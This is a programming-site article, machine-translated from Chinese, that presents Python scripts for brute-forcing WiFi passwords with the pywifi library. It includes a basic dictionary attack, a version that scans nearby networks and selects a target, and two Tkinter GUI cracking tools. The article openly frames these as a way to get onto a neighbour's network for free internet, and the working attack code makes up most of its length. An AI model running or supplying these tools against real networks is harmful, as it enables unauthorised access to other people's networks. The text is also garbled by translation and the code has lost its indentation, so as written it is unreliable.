程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python will tell you in two minutes how to brutally crack the WiFi password of Lao Wang next door

編輯:Python

Preface :

It is said that “ Hour steal needle , Touch the dog when you are old ”, To tell us to develop good habits when we are young . But since taking the programmer's path , Learning becomes boring , Obviously, I have a lot of time ,“ But there is no time ”, In short, learning efficiency is particularly inefficient .

For today's era , I didn't install broadband , It is a common phenomenon that there is no traffic when you go out .

The original 4G When I first came out , I heard someone was driving all night 4G Traffic watch movies , Look at the house , Now? 5G In the era of development , You may find such an embarrassing thing , This article will record how to learn through Python Script implementation WIFI Brute force cracking of passwords , So as to realize free rub network .

No graphical interface

Let's take a look at the blasting script without graphical interface .

WIFI Blast

import pywifi
from pywifi import const
import time
import datetime
# Test connection , Return link results
def wifiConnect(pwd):
# Grab the network card interface
wifi = pywifi.PyWiFi()
# Get the first wireless card
ifaces = wifi.interfaces()[0]
# Disconnect all connections
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# establish WiFi Connection file
profile = pywifi.Profile()
# To connect WiFi The name of
profile.ssid = "Tr0e"
# The open state of the network card
profile.auth = const.AUTH_ALG_OPEN
# wifi encryption algorithm , commonly wifi The encryption algorithm is wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# Encryption unit
profile.cipher = const.CIPHER_TYPE_CCMP
# Call password
profile.key = pwd
# Delete all connected wifi file
ifaces.remove_all_network_profiles()
# Set up a new connection file
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi Connection time
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print(" existing wifi Connect ")
# Read the codebook
def readPassword():
success = False
print("****************** WIFI Crack ******************")
# Codebook path
path = "pwd.txt"
# Open file
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline()
# Remove line breaks at the end of passwords
pwd = pwd.strip('\n')
bool = wifiConnect(pwd)
if bool:
print("[*] The password has been cracked :", pwd)
print("[*] WiFi Automatically connected !!!")
success = True
break
else:
# Jump out of current loop , So let's do the next loop
print(" Cracking SSID by %s Of WIFI password , The current password for verification is :%s"%("Tr0e",pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] This crack WIFI How long did the password last :{}".format(end - start))
else:
print("[*] I'm sorry I can't help you crack the current specified WIFI Password , Please replace the password dictionary and try again !")
exit(0)
if __name__=="__main__":
readPassword()

Code running effect :

Script optimization

The above script needs to be embedded WIFI name 、 Blasting dictionary path , Lack of flexibility . The following transformation and optimization :


import pywifi
import time
from pywifi import const
# WiFi Scanning module
def wifi_scan():
# initialization wifi
wifi = pywifi.PyWiFi()
# Use the first wireless card
interface = wifi.interfaces()[0]
# Start scanning
interface.scan()
for i in range(4):
time.sleep(1)
print('\r Scanning is available WiFi in , Please later ...(' + str(3 - i), end=')')
print('\r Scan complete !\n' + '-' * 38)
print('\r{:4}{:6}{}'.format(' Number ', ' Signal strength ', 'wifi name '))
# Scan results ,scan_results() Returns a set , It stores every wifi object
bss = interface.scan_results()
# Deposit wifi A collection of names
wifi_name_set = set()
for w in bss:
# Solve the mess
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# Store in the list and sort by signal
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# Format output
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
# return wifi list
return wifi_name_list
# WIFI Crack the module
def wifi_password_crack(wifi_name):
# Dictionary path
wifi_dic_path = input(" Please enter local for WIFI Brute force password dictionary (txt Format , Each password occupies 1 That's ok ) The path of :")
with open(wifi_dic_path, 'r') as f:
# Traversal password
for pwd in f:
# Remove line breaks at the end of passwords
pwd = pwd.strip('\n')
# establish wifi object
wifi = pywifi.PyWiFi()
# Create a network card object , For the first time wifi network card
interface = wifi.interfaces()[0]
# Disconnect all wifi Connect
interface.disconnect()
# Wait for it to disconnect
while interface.status() == 4:
# When it is connected , Use the loop to wait for it to disconnect
pass
# Create connection file ( object )
profile = pywifi.Profile()
# wifi name
profile.ssid = wifi_name
# Requires authentication
profile.auth = const.AUTH_ALG_OPEN
# wifi Default encryption algorithm
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi password
profile.key = pwd
# Delete all wifi Connection file
interface.remove_all_network_profiles()
# Set up the new wifi Connection file
tmp_profile = interface.add_network_profile(profile)
# Start trying to connect
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# The interface status is 4 Represents a successful connection ( When the attempt time is greater than 1.5 Seconds later is the wrong password , After testing, the correct password is generally in 1.5 Connect... In seconds , To improve accuracy, you can set to 2s Or more , The corresponding brute force cracking speed will slow down )
if interface.status() == 4:
print(f'\r Successful connection ! The password for :{pwd}')
exit(0)
else:
print(f'\r Using password {pwd} Try to crack .', end='')
# The main function
def main():
# Exit Peugeot
exit_flag = 0
# Target number
target_num = -1
while not exit_flag:
try:
print('WiFi Master key '.center(35, '-'))
# Call the scan module , Returns a sorted wifi list
wifi_list = wifi_scan()
# Let the user choose what to crack wifi Number , And judge and handle the number entered by the user
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input(' Please select the... You want to try to crack wifi:'))
# If you want to choose wifi The number is in the list , Continue the second judgment , Otherwise, re-enter
if target_num in range(len(wifi_list)):
# Secondary confirmation
while not choose_exit_flag:
try:
choose = str(input(f' You choose to crack WiFi The name is :{wifi_list[target_num][1]}, Are you sure? ?(Y/N)'))
# Lower case user input , And decide
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# Handle user input of other letters
else:
print(' Input only Y/N Oh o(* ̄︶ ̄*)o')
# Handle user non alphabetic input
except ValueError:
print(' Input only Y/N Oh o(* ̄︶ ̄*)o')
# Quit cracking
if choose_exit_flag == 1:
break
else:
print(' Please re-enter (*^▽^*)')
except ValueError:
print(' You can only enter numbers o(* ̄︶ ̄*)o')
# Password cracking , Pass in the selected by the user wifi name
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()

The effect of the script is as follows :

The above code implements the enumeration of all the data in the current vicinity according to the signal strength WIFI name , And it can be used for users to choose the ones that need brute force cracking WIFI, At the same time, the dictionary of brute force cracking can be flexibly specified , Relatively speaking, the sense of experience has improved a lot . Further, you can package the above script to generate exe file , Double click to run the effect as follows :

Graphical interface

Based on Python Of GUI Graphical interface development library Tkinter Optimize the above script , Achieve friendly Visualization WIFI Brute force cracking interface tool .

Simple version UI​​​​​​


from tkinter import *
from pywifi import const
import pywifi
import time
# Main steps :
# 1、 Get the first wireless card
# 2、 Disconnect all wifi
# 3、 Read the codebook
# 4、 Set sleep time
def wificonnect(str, wifiname):
# Window wireless object
wifi = pywifi.PyWiFi()
# Grab the first wireless network card
ifaces = wifi.interfaces()[0]
# Disconnect all wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
# establish wifi Connection file
profile = pywifi.Profile()
profile.ssid = wifiname
# wifi Encryption algorithm
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# wifi Password
profile.key = str
# Development of network card
profile.auth = const.AUTH_ALG_OPEN
# Encryption unit , You need to write some encryption units here, otherwise you can't connect
profile.cipher = const.CIPHER_TYPE_CCMP
# Delete all wifi file
ifaces.remove_all_network_profiles()
# Set up a new connection file
tep_profile = ifaces.add_network_profile(profile)
# Connect
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# obtain wiif name
wifiname = entry.get().strip()
path = r'./pwd.txt'
file = open(path, 'r')
while True:
try:
# Read
mystr = file.readline().strip()
# Test connection
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, ' The password is correct ' + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, ' Wrong password ' + mystr)
text.see(END)
text.update()
except:
continue
# create a window
root = Tk()
root.title('wifi Crack ')
root.geometry('500x400')
# label
label = Label(root, text=' Enter the to crack WIFI name :')
# location
label.grid()
# Input control
entry = Entry(root, font=(' Microsoft YaHei ', 14))
entry.grid(row=0, column=1)
# List control
text = Listbox(root, font=(' Microsoft YaHei ', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# Button
button = Button(root, text=' Start cracking ', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# Display window
root.mainloop()

Script running effect :

UI Upgraded version

The above graphical interface does not allow the selection of password dictionary , Let's optimize and upgrade :


from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # stay Gui Open the file in and browse
import tkinter.messagebox # open tkiner Message reminder box
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# Password file path
self.get_value = StringVar() # Set variable content
# Get cracking wifi account number
self.get_wifi_value = StringVar()
# obtain wifi password
self.get_wifimm_value = StringVar()
# Grab the network card interface
self.wifi = pywifi.PyWiFi()
# Grab the first wireless network card
self.iface = self.wifi.interfaces()[0]
# Test links break all links
self.iface.disconnect()
time.sleep(1) # Sleep 1 second
# Test whether the network card is disconnected
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# Functions that will be called automatically , Return to your network card
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# Settings window
def set_init_window(self):
self.init_window_name.title("WIFI Crack tools ")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text=" To configure ") # frame , The following objects are for labelframe Added in
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text=" Search the neighborhood WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text=" Start cracking ", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text=" Directory path :").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text=" Add password file directory ", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi account number :").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi password :").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi list ")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# Define tree structure and scroll bar
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# Table title
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)
# Search for wifi
def scans_wifi_list(self): # Scan around wifi list
# Start scanning
print("^_^ Start scanning nearby wifi...")
self.iface.scan()
time.sleep(15)
# Get the scan results after a few seconds
scanres = self.iface.scan_results()
# Count the number of hot spots found nearby
nums = len(scanres)
print(" Number : %s" % (nums))
# Actual data
self.show_scans_wifi_list(scanres)
return scanres
# Show wifi list
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
# Add password file directory
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
# Treeview The binding event
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# Read the password dictionary , Match
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] The password is correct !wifi name :%s, Match the password :%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo(' Tips ', ' Crack success !!!')
print(self.res)
break
else:
self.res = "[*] Wrong password !wifi name :%s, Match the password :%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
# Yes wifi Match the password
def connect(self, pwd_Str, wifi_ssid):
# establish wifi Link to the file
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # wifi name
self.profile.auth = const.AUTH_ALG_OPEN # Network card opening
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm
self.profile.cipher = const.CIPHER_TYPE_CCMP # Encryption unit
self.profile.key = pwd_Str # password
self.iface.remove_all_network_profiles() # Delete all wifi file
self.tmp_profile = self.iface.add_network_profile(self.profile) # Set a new linked file
self.iface.connect(self.tmp_profile) # link
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # Determine whether to connect
isOK = True
else:
isOK = False
self.iface.disconnect() # To break off
time.sleep(1)
# Check the disconnection status
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()
if __name__ == "__main__":
gui_start()

The effect of the script is as follows :

The above is based on Python Of GUI Graphical interface development library Tkinter, actually Python Of GUI Programming can help PyQt5 To automatically generate UI Code .

summary

This article studies Python Brute force WIFI Password method 、 as well as Python GUI The basis of graphical programming is . The disadvantage of the demonstrated code is that it does not use multithreading WIFI Connect the test , In fact, because WIFI Connection testing takes time (3-5 second ), Therefore, using multithreading will reduce the waiting time of brute force cracking process .

Finally, the complete code has been packaged , Small partners in need , You can click on this line of font , Or private letter Xiaobian !


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved